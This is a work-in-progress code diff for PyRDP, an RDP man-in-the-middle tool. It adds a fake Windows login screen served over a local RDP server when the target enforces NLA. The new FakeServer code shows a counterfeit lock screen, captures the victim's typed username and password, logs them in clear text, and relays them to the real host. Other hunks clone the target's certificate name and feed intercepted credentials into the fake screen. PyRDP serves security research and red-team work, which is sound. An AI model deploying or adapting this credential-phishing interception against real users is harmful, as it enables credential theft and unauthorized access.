WIP: Fake RDP server when NLA is enforced

pyrdp/mitm/FakeServer.py

@@ -0,0 +1,329 @@
+#
+# This file is part of the PyRDP project.
+# Copyright (C) 2022
+# Licensed under the GPLv3 or later.
+#
+import logging, multiprocessing, os, random, shutil, socket, subprocess, threading, time
+
+from tkinter import *
+from PIL import Image, ImageTk
+from pyvirtualdisplay import Display
+
+from pyrdp.logging import SessionLogger, LOGGER_NAMES
+
+BACKGROUND_COLOR = "#044a91"
+IMAGES_DIR = os.path.dirname(__file__) + "/images"
+
+
+class FakeLoginScreen:
+    def __init__(self, width=1920, height=1080):
+        self.clicked = False
+
+        # root window
+        # right now all Xephyr instances are merged together because of Tk but I don't know why this happens
+        # asked here: https://stackoverflow.com/questions/74552455/
+        self.root = Tk()
+        self.root.attributes("-fullscreen", True)
+        self.root.geometry(f"{width}x{height}")
+        # TODO: only accepts main return key (not from numpad)
+        self.root.bind("<Return>", self.on_click)
+
+        self._set_background(width, height)
+        self._set_entries()
+
+        # frames for loading animation
+        self.frame_count = 50
+        self.frames = [
+            PhotoImage(
+                file=IMAGES_DIR + "/WindowsLoadingScreenSmall.gif",
+                format=f"gif -index {i}",
+                master=self.root,
+            )
+            for i in range(self.frame_count)
+        ]
+
+        # label for loading animation
+        self.label_loading_animation = Label(self.root, borderwidth=0)
+
+    def _set_background(self, width=1920, height=1080):
+        # background file
+        self.background_image = Image.open(
+            IMAGES_DIR + "/WindowsLockScreen.png"
+        ).resize((width, height))
+        self.background = ImageTk.PhotoImage(self.background_image, master=self.root)
+
+        # background label
+        if (
+            hasattr(self, "label_background")
+            and self.label_background is not None
+            and not self.clicked
+        ):
+            self.label_background.destroy()
+        self.label_background = Label(self.root, image=self.background, borderwidth=0)
+        self.label_background.place(x=0, y=0)
+        self.label_background.lower()
+
+    def _set_entries(self):
+        # username entry
+        self.entry_username = Entry(
+            self.root,
+            font=("DejaVu Sans", 16),
+            bd=2,
+            bg="white",
+            insertofftime=600,
+            insertwidth="1p",
+            highlightthickness=1,
+            highlightbackground="gray",
+            highlightcolor="#eaeaea",
+        )
+        self.entry_username.place(
+            relx=0.5, rely=0.61, anchor=CENTER, height=40, width=290
+        )
+        self.entry_username.focus()
+
+        # password entry
+        self.entry_password = Entry(
+            self.root,
+            show="•",
+            font=("DejaVu Sans", 20),
+            bd=2,
+            bg="white",
+            insertofftime=600,
+            insertwidth="1p",
+            highlightthickness=1,
+            highlightbackground="gray",
+            highlightcolor="gray",
+        )
+        # place password entry relative to username entry
+        self.entry_password.place(
+            in_=self.entry_username, height=40, width=257, relx=0, x=-3, rely=1.0, y=15
+        )
+
+        # login button - the image must be assigned to self to avoid garbage collection
+        self.image_button_login = PhotoImage(
+            file=IMAGES_DIR + "/LoginButton.png", master=self.root
+        )
+        self.button_login = Button(
+            self.root,
+            image=self.image_button_login,
+            command=self.on_click,
+            width=34,
+            height=34,
+            highlightthickness=1,
+            highlightbackground="gray",
+            highlightcolor="gray",
+        )
+        self.button_login.place(in_=self.entry_password, relx=1.0, x=-3, rely=0.0, y=-3)
+
+    def show(self):
+        # show window
+        self.root.mainloop()
+
+    def resize(self, width: int, height: int):
+        self.root.geometry(f"{width}x{height}")
+        self._set_background(width, height)
+
+    def set_entry(self, entry: str, value: str):
+        if entry == "username":
+            entry = self.entry_username
+        elif entry == "password":
+            entry = self.entry_password
+        entry.delete(0, END)
+        entry.insert(0, value)
+
+    def set_username(self, username: str):
+        self.set_entry("username", username)
+        self.entry_password.focus()
+
+    def set_password(self, password: str):
+        self.set_entry("password", password)
+
+    def on_click(self, event=None):
+        self.clicked = True
+        self.username = self.entry_username.get()
+        self.password = self.entry_password.get()
+        # block pressing enter
+        self.root.unbind("<Return>")
+        # replace background (didn't find a less clunky way)
+        self.background_image.paste(
+            BACKGROUND_COLOR,
+            [0, 0, self.background_image.size[0], self.background_image.size[1]],
+        )
+        self.background = ImageTk.PhotoImage(self.background_image, master=self.root)
+        self.label_background.configure(image=self.background)
+        # place label for loading animation
+        self.label_loading_animation.place(relx=0.42, rely=0.35)
+        # remove items
+        self.entry_username.destroy()
+        self.entry_password.destroy()
+        self.button_login.destroy()
+        # quit
+        self.root.destroy()
+
+    def check_submit(self):
+        if len(self.entry_username.get()) > 0 and len(self.entry_password.get()) > 0:
+            self.button_login.invoke()
+
+    def show_loading_animation(self, index):
+        if index == self.frame_count:
+            self.root.destroy()
+            return
+        self.label_loading_animation.configure(image=self.frames[index])
+        self.root.after(100, self.show_loading_animation, index + 1)
+
+
+class FakeServer(threading.Thread):
+    def __init__(self, targetHost: str, targetPort: int = 3389, sessionID: str = None):
+        super().__init__()
+        self.targetHost = targetHost
+        self.targetPort = targetPort
+        self.log = SessionLogger(
+            logging.getLogger(LOGGER_NAMES.MITM), sessionID
+        ).createChild("fake_server")
+
+        self._launch_display()
+
+        self.fakeLoginScreen = None
+
+        self.port = random.randint(49152, 65535)  # ephemeral ports
+        self._launch_rdp_server()
+
+    def _launch_display(self, width=1920, height=1080):
+        self.display = Display(backend="xvfb", size=(width, height))
+        self.display.start()
+        # activate environment variables
+        self.display.env()
+        # set background to windows blue
+        def background():
+            tk = Tk()
+            tk.geometry(f"{width}x{height}")
+            tk.configure(bg=BACKGROUND_COLOR)
+            tk.mainloop()
+
+        multiprocessing.Process(target=background).start()
+
+    def _subprocess(self, cmd: [str], env=None):
+        process = subprocess.Popen(
+            cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, env=env
+        )
+
+        _format_line = lambda l: l.decode().rstrip()
+
+        def _log_stdout():
+            with process.stdout as stdout:
+                for line in iter(stdout.readline, b""):
+                    self.log.info(_format_line(line))
+
+        multiprocessing.Process(target=_log_stdout).start()
+
+        def _log_stderr():
+            with process.stderr as stderr:
+                for line in iter(stderr.readline, b""):
+                    self.log.error(_format_line(line))
+
+        multiprocessing.Process(target=_log_stderr).start()
+        return process
+
+    def _launch_rdp_server(self):
+        # TODO check if port is not already taken
+        self.log.info(
+            "Launching freerdp-shadow-cli (RDP Server) on port %(port)d",
+            {"port": self.port},
+        )
+        rdp_server_cmd = [
+            shutil.which("freerdp-shadow-cli"),
+            "/bind-address:127.0.0.1",
+            "/port:" + str(self.port),
+            "/sec:tls",
+            "-auth",
+        ]
+        self.rdp_server_process = self._subprocess(rdp_server_cmd)
+
+        # wait for the server to accept connections
+        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        # FIXME maybe configure listen address
+        ctr = 0
+        threshold = 5
+        while sock.connect_ex(("127.0.0.1", self.port)) != 0:
+            self.log.info("Fake server is not running yet")
+            time.sleep(0.1)
+            if ctr > threshold:
+                self.log.info(
+                    "RDP server process did not launch within time, retrying..."
+                )
+                self.rdp_server_process.kill()
+                self._launch_rdp_server()
+                break
+        sock.close()
+
+    def run(self):
+        self.fakeLoginScreen = FakeLoginScreen()
+        self.fakeLoginScreen.show()
+        username = self.fakeLoginScreen.username
+        password = self.fakeLoginScreen.password
+        self.log.info(
+            "Obtained %(username)s:%(password)s in fake server",
+            {"username": username, "password": password},
+        )
+        self.fakeLoginScreen = None
+
+        rdp_client_cmd = [
+            shutil.which("xfreerdp"),
+            "/v:" + self.targetHost,
+            "/p:" + str(self.targetPort),
+            "/u:" + username,
+            "/p:" + password,
+            "/cert:ignore",
+            "/f",
+            "-toggle-fullscreen",
+            "/log-level:ERROR",
+        ]
+        self.rdp_client_process = self._subprocess(rdp_client_cmd)
+        self.rdp_client_process.wait()
+        self.terminate()
+
+    def resize(self, width: int, height: int):
+        process = self._subprocess(
+            [
+                "xdotool",
+                "search",
+                "--name",
+                "Xephyr",
+                "windowsize",
+                str(width),
+                str(height),
+            ],
+            env={"DISPLAY": ":0"},
+        )
+        process.wait()
+        if self.fakeLoginScreen is not None:
+            self.fakeLoginScreen.resize(width, height)
+
+    def check_submit(self):
+        self.fakeLoginScreen.check_submit()
+
+    def is_ready(self):
+        return self.fakeLoginScreen is not None
+
+    def wait_ready(self):
+        # wait until the server and the login screen is initialized
+        while not self.is_ready():
+            time.sleep(0.01)
+
+    def set_username(self, username: str):
+        self.wait_ready()
+        self.fakeLoginScreen.set_username(username)
+        self.check_submit()
+
+    def set_password(self, password: str):
+        self.wait_ready()
+        self.fakeLoginScreen.set_password(password)
+        self.check_submit()
+
+    def terminate(self):
+        # TODO: the user sees "An internal error has occurred."
+        for proc in (self.rdp_server_process, self.rdp_client_process):
+            if not isinstance(proc, subprocess.CompletedProcess):
+                self.log.info("Killing process %(name)s", {"name": " ".join(proc.args)})
+                proc.kill()
+        self.display.stop()

pyrdp/mitm/RDPMITM.py

@@ -7,7 +7,9 @@
 import asyncio
 import datetime
 import typing
+import socket
 
+from OpenSSL import SSL, crypto
 from twisted.internet import reactor
 from twisted.internet.protocol import Protocol
 
@@ -218,11 +220,29 @@ async def connectToServer(self):
                 self.log.error("Failed to connect to recording host: timeout expired")
 
     def doClientTls(self):
-        cert = self.server.tcp.transport.getPeerCertificate()
+        if self.state.isRedirected():
+            self.log.info(
+                "Fetching certificate of the original host %(host)s:%(port)d because of NLA redirection",
+                {
+                    "host": self.state.config.targetHost,
+                    "port": self.state.config.targetPort,
+                },
+            )
+            # Use context from pyrdp
+            context = ClientTLSContext().getContext()
+            connection = SSL.Connection(context, socket.socket(socket.AF_INET, socket.SOCK_STREAM))
+            connection.connect((self.state.config.targetHost, self.state.config.targetPort))
+            connection.do_handshake()
+            cert = connection.get_peer_certificate()
+        else:
+            cert = self.server.tcp.transport.getPeerCertificate()
         if not cert:
             # Wait for server certificate
             reactor.callLater(1, self.doClientTls)
 
+        if cert.get_subject().commonName != self.config.targetHost:
+            cert.get_subject().commonName = self.config.targetHost
+
         # Clone certificate if necessary.
         if self.certs:
             privKey, certFile = self.certs.lookup(cert)

pyrdp/mitm/SecurityMITM.py

@@ -78,6 +78,12 @@ def onClientInfo(self, data: bytes):
             "clientAddress": clientAddress
         })
 
+        if self.state.fakeServer is not None:
+            self.state.fakeServer.set_username(pdu.username)
+
+        if self.state.fakeServer is not None and len(pdu.password) > 1:
+            self.state.fakeServer.set_password(pdu.password)
+
         self.recorder.record(pdu, PlayerPDUType.CLIENT_INFO)
 
         # If set, replace the provided username and password to connect the user regardless of

pyrdp/mitm/X224MITM.py

@@ -128,7 +128,14 @@ def onConnectionConfirm(self, pdu: X224ConnectionConfirmPDU):
                 # Disconnect from current server
                 self.disconnector()
 
-                if self.state.canRedirect():
+                if self.state.config.fakeServer:
+                    # Activate configuration
+                    self.state.useFakeServer()
+                    self.log.info("The server forces the use of NLA. Launched local RDP server on %(host)s:%(port)d", {
+                        "host": self.state.effectiveTargetHost,
+                        "port": self.state.effectiveTargetPort
+                    })
+                elif self.state.canRedirect():
                     self.log.info("The server forces the use of NLA. Using redirection host: %(redirectionHost)s:%(redirectionPort)d", {
                         "redirectionHost": self.state.config.redirectionHost,
                         "redirectionPort": self.state.config.redirectionPort